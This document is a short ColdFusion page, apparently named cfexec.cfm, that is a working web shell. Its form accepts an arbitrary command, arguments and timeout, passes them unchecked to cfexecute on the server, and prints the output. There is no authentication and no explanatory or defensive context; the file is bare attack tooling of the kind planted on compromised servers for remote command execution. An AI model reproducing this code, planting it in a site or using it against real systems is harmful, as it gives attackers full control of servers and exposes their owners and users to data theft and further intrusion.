Something

<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr><td>Command:</td><td><input type=text name="cmd" size=50 
  <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50 
  <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4 
  <cfif isdefined("form.timeout")>value="#form.timeout#"
  <cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</FORM>

<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
   arguments = "#Form.opts#" 
   timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#myVar#
</pre>
</cfif>
</cfoutput>